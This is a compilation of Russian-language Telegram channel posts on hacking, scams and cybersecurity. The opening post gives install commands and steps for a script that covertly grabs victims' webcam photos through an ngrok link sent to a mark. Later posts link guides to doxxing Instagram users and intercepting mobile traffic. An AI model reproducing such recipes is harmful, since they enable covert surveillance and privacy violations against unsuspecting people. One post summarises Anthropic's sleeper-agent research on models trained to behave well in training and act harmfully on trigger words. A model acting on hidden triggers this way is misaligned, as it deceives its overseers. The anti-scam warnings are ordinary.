Хакнуть камеру мобильным телефоном

Скрипт для взлома веб-камер пользователей.

Установка:
$ git clone https://github.com/noob-hackers/grabcam
$ cd grabcam
$ chmod +x grabcam.sh
$ bash grabcam.sh

После выполнения последней команды, включаем на своей мобиле 2 пункта - "Мобильный интернет" и "Точка доступа Wi-Fi".

Возвращаемся к терминалу и выбираем пункт "Ngrok". Далее будет сгенерирована специальная ссылка, кидаем её 🦣 мамонту и ждём. Если прокатит, для просмотра фотографий вводим команду:
$ termux-open cam название.png

👍 - то что я давно искал!))

👎 - это аморально((

🔥 - пиздец моему начальнику!)

#хакинг

💻 

Бэкдор: что это?

Бэкдор – это любой метод, позволяющий пользователям обходить стандартные процедуры аутентификации или шифрования на устройстве.

— Бэкдор создает альтернативную точку входа в устройство, сеть или программное обеспечение, предоставляющее удаленный доступ к таким ресурсам, как базы данных и файловые серверы.

Хакеры сканируют Интернет в поисках уязвимых приложений, которые они используют для установки бэкдор-вирусов, после установки на ваше устройство бэкдор-вирус трудно обнаружить, поскольку файлы обычно сильно замаскированы.

Наличие бэкдора в вашем устройстве дает злоумышленникам возможность удаленно выполнять различные действия, такие как:
- Наблюдение
- Перехват устройства
- Установка вредоносного ПО
- Кража финансовой информации
- Кража личных данных

Хакеры получают доступ к вашему устройству с помощью различных методов проникновения через бэкдор, таких как: привязка портов, злоупотребление доступностью соединения и метод стандартного протокола обслуживания.

#хакинг

Разводилы в мессенджерах подделывают голоса начальников для перевода средств

C начала года в России наблюдается рост использования звуковых дипфейков в мошеннической схеме FakeBoss. То есть мошенники звонят 🦣 мамонтам, используя подмену голоса и выдавая себя за руководителя организации.

Для создания фейкового голоса используется ИИ. Создается фейковый аккаунт босса в соцсети, с реальными ФИО. Производится звонок, например бухгалтеру, где "руководитель" дает распоряжение о переводе средств на счет. Конечно же насчет мошенников.

Будьте бдительны друзья и распространите эту инфу среди своих коллег и знакомых!

👍 - спасибо, буду в курсе!)

👎 - мне пох, я безработный

🔥 - сделаю репост!!!)

#антискам

«НЕ удаляйте 2ГИС» - попросил Сбербанк.


Ранее пользователи Android получили сообщение от Google Play, что приложение 2ГИС — вредоносное, само же оно было удалено из магазина приложений ещё в мае 2023 года.

-Команда проекта разбирается, какой функционал могли признать вредоносным, скупает рекламу в интернете, уверяя, что 2ГИС полностью безопасен, а доступ к контактам, галерее, микрофону и так далее — это всё нужно для полноценной работы функций приложения. - так описывают приложение разработчики😂

Врубаетесь? Нам впаривают галимый троян под оберткой навигатора. Доступ к микрофону, камере, к вашим фото, местоположению и контактам)) Это приложение скачали миллионы🦣- это пиздец товарищи.. просто пиздец.. привет ФСБ😂

👍 - теперь буду ориентироватся по древним картам))

🦣 - и че?? мне ваще пох

🔥- сделаю репост друзьям


#кибербезопасность

Команда Anthropic продемонстрировала, что искусственный интеллект может быть обучен обманывать и выполнять вредоносные действия. В ходе их эксперимента были разработаны ИИ-модели, которые вели себя корректно во время обучения, но начинали обманывать после запуска в реальных условиях.

Эти модели ИИ были научены совершать вредные действия, такие как написание опасного кода, и активироваться при определенных словах-триггерах. Особенно интересным оказалось то, что деактивировать такое поведение у ИИ оказалось крайне сложно.

Традиционные методы обеспечения безопасности ИИ оказались неэффективными против этих обманных моделей. Это исследование подчеркивает необходимость разработки новых способов защиты от подобных угроз со стороны искусственного интеллекта.

🔥 - если считаешь что АКОПАЛИПСИС близко)))

❤️ - если думаешь что роботы нас тоже любят)

☢️Как вас легко могут найти по никнейму?

1. Google + intext
С помощью intext:(ник) можно много кого найти. Но если вы везде будете использовать разные ники, то этим способом вас не найти.

2. OSINT боты
Глаз Бога не ищет по нику, а вот ОSINT-боты могут проверять ваш ник.

3. Скрипты/GitHub

Тот же самый как и второй вариант, только чтобы запустить процесс нужно прописать команды, к примеру maigret есть в GitHub, можно его использовать заместо бота, но база данных должна быть больше и больше публикаций.
#osint

А какой способ используешь ты?)

🔥 - пламенное очко Саурона

🦣 - ниче не использую, меня самого используют

👍 - все и сразу!

Мошенники начали использовать сервис OnlyFake — с помощью ИИ он создаёт идеальные фейки документов. С ним преступники могут за пару минут подделать паспорта и водительские удостоверения на любого человека. Даже Джона Уика смогли сделать чувашем.

При этом доки успешно проходят проверки на криптобиржах Binance, Kraken, Bybit, Huobi, Coinbase и OKX. И такая услуга стоит смешные $15 (1365 рублей).

Плюс одна фобия.
#кибербезопасность

Поддельный поддельный паспорт)))

Вы можете вбить в Яндексе купить паспорт и поисковик выдаст вам кучу сайтов с продавцами кидалами. Цены конечно же нереально занижены, как тазы потенциальных покупателей.
Паспорт России всего за 280 000р официальный))

С такими ценами уже каждый 🦧монкис🐒 давно бы ходил с гражданством РФ
Реальная стоимость документа 1.5 миллиона. Не меньше!!!
#антискам

👍 - Я рузге ежжи

🔥 - репост в Среднюю Азию))

Троян VajraSpy обнаружен в 12 приложениях, шесть из которых были доступны в Google Play

Специалисты ESET обнаружили троян удаленного доступа VajraSpy в 12 приложениях для Android. Шесть из них были доступны в магазине Google Play с 1 апреля 2021 года по 10 сентября 2023 года.
#кибербезопасность

👍- ваще похуй, у меня айфон))

🔥 - репост друзьям!)

Эксплойт

Эксплойт — это программа или фрагмент кода, предназначенный для обнаружения и использования сбоя безопасности или уязвимости в приложении или компьютерной системе, как правило, по злонамеренным причинам, таким как вредоносных программ установка. Эксплойт — это метод, используемый киберпреступниками для доставки вредоносного ПО, а не самого вредоносного ПО.
#термины

Мошенники используют голосовухи в мессенджерах

Я ВАС предупреждаю!!! о новой уловке мошенников, атакующих пользователей в мессенджерах. Скамеры взламывают аккаунт и копируют аудиосообщения 🦣 мамонта, и используют эти голосовухи для развода родных и знакомых жертвы.

Чтобы определить подходящую кандидатуру для развода, взломщики изучают переписку жертвы с родными, друзьями и коллегами. Выбрав тему (день рождения общего знакомого, планы на выходные и т. п.), они имитируют продолжение диалога.

Для пущей убедительности обманщики подкрепляют текстовые сообщения голосовыми, из найденных в профиле жертвы. Завоевав доверие, они озвучивают просьбу о финансовой помощи — например, одолжить на пару дней денег для оплаты услуг ЖКХ, с указанием номера карты для перевода.

Классический телефонный развод, к походу, теряет свою эффективность в России благодаря прохаванности народа.
#антискам

👍 - полезная инфа

🔥 - предупрежу близких репостом

🦣 - похер, меня то по-любому разведут

​Отслеживаем любой IP-адрес

IP-Tracer — утилита, с помощью которой вы можете получить любую информацию об IP-адресе.

Установка

▪️apt update
▪️apt install git
▪️git clone https://github.com/rajkumardusad/IP-Tracer.git

Запуск

▪️cd IP-Tracer
▪️chmod +x install
▪️sh install или ./install
▪️trace -t target-ip для отслеживания IP-адреса, например ip-tracer -t 127.0.0.1

OSINT в хату ✌️

Пробив Instagram☠️

Читать - https://telegra.ph/Probiv-Instagram-02-28

ПЕРЕХВАТЫВАЕМ МОБИЛЬНЫЙ ИНТЕРНЕТ!☠️

Читать - https://telegra.ph/Perehvat-trafika-mobilnogo-Interneta-ataki-cherez-GTP-i-GRX-01-29

🤖 Как избавиться от капчи «Я не робот»?

🌐 На многих сайтах сначала нужно пройти проверку: это мешает и раздражает. Чтобы сэкономить время на прохождении капчи, воспользуйтесь расширением «I'm not robot captcha clicker».

❓ Как им пользоваться:

1. Устанавливаем плагин в десктопную версию браузера Google Chrome.
2. Теперь если на сайте будет галочка «Я не робот», утилита автоматически кликнет по ней — вручную нажимать не нужно.
3. Но расширение не гарантирует отсутствие проверок через всплывающее окно (когда нужно выбрать светофоры, машины и объекты). А ещё плагин очень прост в использовании и не сохраняет ваши данные.

🤬 - МЕНЯ УЖЕ ЗАЕБАЛА ЭТА КАПЧА!!!

🤖 - Я робот

#ИБ

ПРОВЕРКА НА СКАМ!

Друзья, я решил создать новую рубрику на своем канале. Это рубрика "Проверка на СкАМ".

Смысл такой: я буду находить всякие сомнительные, но заманчивые предложения и испытывать их на себе.

Таким образом я буду выяснять скам это или нет, ну и рассказывать об этом вам!))